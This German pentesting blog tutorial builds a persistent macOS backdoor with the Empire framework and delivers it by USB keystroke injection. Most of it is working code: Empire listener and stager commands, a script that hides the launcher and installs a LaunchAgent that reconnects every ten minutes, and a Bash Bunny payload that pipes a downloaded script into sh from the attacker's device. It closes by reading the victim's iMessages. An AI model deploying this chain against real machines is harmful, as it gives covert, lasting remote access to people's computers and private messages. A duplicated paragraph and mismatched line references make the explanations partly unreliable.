Post-Exploitation Frameworks werden immer dann eingesetzt, wenn Penetrationstester schon Zugriff auf ein Zielnetzwerk haben und von hier weitere Angriffe auf dem IT-Gerät oder im Netzwerk ausführen möchten.
Ich habe in diesem Zusammenhang schon mehrfach über das Empire Framework berichtet. Es ist seit seiner Vorstellung während der BSides in Las Vegas im Juli 2015 ständig weiterentwickelt worden.
Zum gegenwärtigen Zeitpunkt liegt das Werkzeug in der Version 2.1 vor. Mittlerweile sind die bisherigen Projekte PowerShell Empire und Python EmPyre zusammengeführt und enthalten neben den reinen PowerShell2.0 Windows Agenten nun auch Python 2.6 / 2.7 Linux und OSX Agenten. Das Framework bietet eine kryptologisch sichere Kommunikation und eine flexible Architektur.
In diesem Beitrag möchte ich zeigen, wie man mit Hilfe des Empire Frameworks eine dauerhafte Hintertür in OSX erzeugen kann, sie mit dem Bash Bunny auf ein Zielsystem überträgt (Inject) und auch wieder löscht (Cleanup). Insgesamt müssen 4 Dateien erstellt werden. Wir gehen dazu Schritt für Schritt vor.
Wer noch nicht mit dem Empire Framework vertraut ist, den empfehle ich vorangegangen Beiträge oder meine Artikel in der Zeitschrift iX. Das Framework lässt sich auf einem Linux System leicht installieren.
Schritt 1 – Launcher für OSX erzeugen
Für das Angriffssystem nutzen wir Kali Linux. Ich gehe davon aus, dass das Empire Framework in der aktuellen Version installiert und gestartet ist. Zuerst wird eine Listener generiert, der später die eingehenden Daten vom Zielsystem empfangen soll. Dazu werden folgende Kommandos ausgeführt:
listeners
uselistener http
set Name Kali01
execute
Nun können wir den sogenannten Stager erzeugen. Dies ist der eigentliche Payload, der später auf dem Zielsystem ausgeführt werden muss, um eine (Reverse)-Verbindung zum Angriffssystem herzustellen. Derzeit sind bereits 24 Stager im Framework enthalten. Für unser Vorhaben benötigen wir den osx/launcher. Mit den folgenden Kommandos wird die Datei launcher.sh auf dem Kali Desktop erzeugt:
agents
usestager osx/launcher
set listener Kali01
set Outfile /root/Desktop/launcher.sh
execute
Schritt 2 – Weitere Dateien anlegen und auf dem Bash Bunny ablegen
Neben der Datei launcher.sh müssen noch zwei weitere Skripte erzeugt werden. Wir beginnen mit persistent.sh. Hierbei handelt es sich um ein Shell Skript, das den OSX Launcher in ein verstecktes Verzeichnis auf dem Zielsystem verschiebt und das notwendige Startskript (für den späteren Autostart) einrichtet.
Die Datei sieht wie folgt aus:
[code]
#!/bin/bash
#Create the hidden directory
mkdir $HOME/.hidden
#Move launcher to hidden folder
mv Downloads/launcher.sh $HOME/.hidden/launcher.sh
#Give the script permission to execute
chmod +x $HOME/.hidden/launcher.sh
#Create directory if it doesn’t already exist.
mkdir $HOME/Library/LaunchAgents
#Write the .plist to LaunchAgents
echo ‘
<plist version=”1.0″>
<dict>
<key>Label</key>
<string>beacon</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>’$HOME’/.hidden/launcher.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>600</integer>
<key>AbandonProcessGroup</key>
<true/>
</dict>
</plist>
‘ > $HOME/Library/LaunchAgents/beacon.plist
# Load the LaunchAgent
launchctl load $HOME/Library/LaunchAgents/beacon.plist
[/code]
Nachfolgend einige Erläuterungen zum Skript:
Zeilen 15-25
Hier wird das Skript (beacon.plist) erzeugt und im Home-Verzeichnis des Nutzer unter /Library/LaunchAgents abgelegt. Damit gewährleisten wir, dass bei jeder Nutzeranmeldung der Launcher automatisch gestartet und mit den Berechtigungen des Nutzers ausgeführt wird.
Zeile 37
Das Kommandozeilen Tool launchctl startet den Launcher und stellt die Reverse-Verbindung zum Angriffssystem her.
Zeilen 28-29
Falls die Kommunikation zum Angriffssystem aus nichtvorhersehbaren Gründen einmal abrechen sollte, wird nach einer vorgegebenen Zeit (in unserem Beispiel 600 Sekunden) eine erneute Verbindung initiiert.
Die Datei payload.txt enthält alle notwendigen Kommandos, um mit Hilfe des Bash Bunnys die Daten auf das Zielsystem zu übertragen, einzurichten und zu starten.
Die Datei payload.txt enthält alle notwendigen Kommandos, um mit Hilfe des Bash Bunnys die Daten auf das Zielsystem zu übertragen, einzurichten und zu starten.
[code]
#!/bin/bash
# Title: OSX persistent backdoor{Injector}
# Author: Pentestit.de
# Target: Mac
# Version: 0.1
#
# Inject an Empire Framework Launcher
# inside $HOME/Library/LaunchAgents
#
# https://github.com/EmpireProject/Empire
#
# LED SETUP M SOLID Magenta solid
# LED ATTACK Y SINGLE Yellow single blink
# LED FINISH G SUCCESS Green 1000ms VERYFAST blink followed by SOLID
# LED OFF Turns the LED off
#
# The following files are required:
# launcher.sh Launcher created with Empire Framework
# persistent.sh Bash script that moves the Launcher in a hidden directory
# and creates beacon.plist in $HOME/Library/LaunchAgents
# payload.txt This file
#
# Copy all files in the same switch position
#
# DUCKY_LANG is configured in config.txt
#
LED SETUP
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
GET SWITCH_POSITION
GET HOST_IP
cd /root/udisk/payloads/$SWITCH_POSITION/
# starting server
LED SPECIAL
iptables -A OUTPUT -p udp –dport 53 -j DROP
python -m SimpleHTTPServer 80 &
# wait until port is listening (credit audibleblink)
while ! nc -z localhost 80; do sleep 0.2; done
LED ATTACK
# Open Spotlight
RUN OSX terminal
# Download files from BashBunny and run persistent script
QUACK DELAY 2000
QUACK STRING curl “http://$HOST_IP/launcher.sh” –output Downloads/launcher.sh
QUACK ENTER
QUACK DELAY 500
QUACK STRING curl “http://$HOST_IP/persistent.sh” \| sh
QUACK DELAY 500
QUACK ENTER
QUACK DELAY 200
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 500
QUACK GUI W
# Finish and LED off
LED FINISH
QUACK DELAY 300
LED OFF
[/code]
Zeilen 40-44
Hier wir eine HTTP-Server eingerichtet, der die Übertragung der Dateien vom Bash Bunny auf das Zielsystem sicherstellt.
Zeilen 53-56
Wir kopieren den Launcher in das Download-Verzeichnis des angemeldeten Nutzers und führen danach das „Persistent-Skript“ aus.
Alle files hier zum runterladen.
Schritt 3 – Sprachdatei anpassen
Um auf die unterschiedlichsten Sprachen auf den Zielsystemen reagieren zu können, haben die Entwickler des Bash Bunnys verschiedene Sprachdateien erstellt und im Verzeichnis languages abgelegt.
Da wir nicht die Standartsprache (us) nutzen wollen, müssen wir einen Eintrag in der Datei config.txt vornehmen und auf „Deutsch“ umstellen. Das sieht dann wie folgt aus:
#!/bin/bash
#This configuration file is used to set default variables
DUCKY_LANG de
Leider gibt es aber damit ein weiteres Problem. Die in der Sprachdatei de.json aufgeführten Keycodes stimmen nicht immer mit der deutschen Tastatur eines iMac oder MacBooks überein. Für unser Vorhaben habe ich insbesondere die Sonderzeichen anpassen müssen. Das nachfolgende Bild zeigt die notwendigen Änderungen in den Zeilen 158 bis 165.
Nun steht einem ersten Test auf dem Zielsystem nichts mehr im Wege. Dazu werden alle drei Dateien auf den Bash Bunny (Switch Position 1) kopiert. Um das Zielsystem später zu bereinigen, erstellen wir im letzten Schritt eine weitere Datei (payload.txt,) die wir dann in Switch Position 2 ablegen.
Schritt 4 – Zielsystem bereinigen (Cleanup)
Mit diesem sehr kurzen Skript wird das versteckte Verzeichnis einschließlich des Launchers gelöscht und Datei Startdatei beacon.plist aus dem Home Verzeichnis des angemeldeten Nutzers entfernt.
[code]
#!/bin/bash
# Title: OSX persistent backdoor{Cleanup}
# Author: Pentestit.de
# Target: Mac
# Version: 0.1
#
# Cleanup hidden directory und beacon.plist
#
# LED SETUP M SOLID Magenta solid
# LED CLEANUP W FAST White fast blink
# LED FINISH G SUCCESS Green 1000ms VERYFAST blink followed by SOLID
# LED OFF Turns the LED off
LED SETUP
ATTACKMODE ECM_ETHERNET HID VID_0X05AC PID_0X021E
LED CLEANUP
# Open Spotlight
RUN OSX terminal
# Remove hidden directory und beacon.plist
QUACK DELAY 2000
QUACK STRING rm -Rf \$HOME/.hidden
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 200
QUACK STRING rm \$HOME/Library/LaunchAgents/beacon.plist
QUACK DELAY 200
QUACK ENTER
QUACK DELAY 200
QUACK STRING exit
QUACK DELAY 200
QUACK ENTER
QUACK GUI W
# Finish and LED off
LED FINISH
QUACK DELAY 200
LED OFF
[/code]
Im nachfolgenden Video werden nochmal die einzelnen Schritte gezeigt. Nachdem eine Verbindung zum Opfer hergestellt wurde, kann der Penetrationstester die umfangreichen Module des Empire Frameworks nutzen. In diesem Beispiel werden die iMessages des aktuellen Nutzers ausgelesen.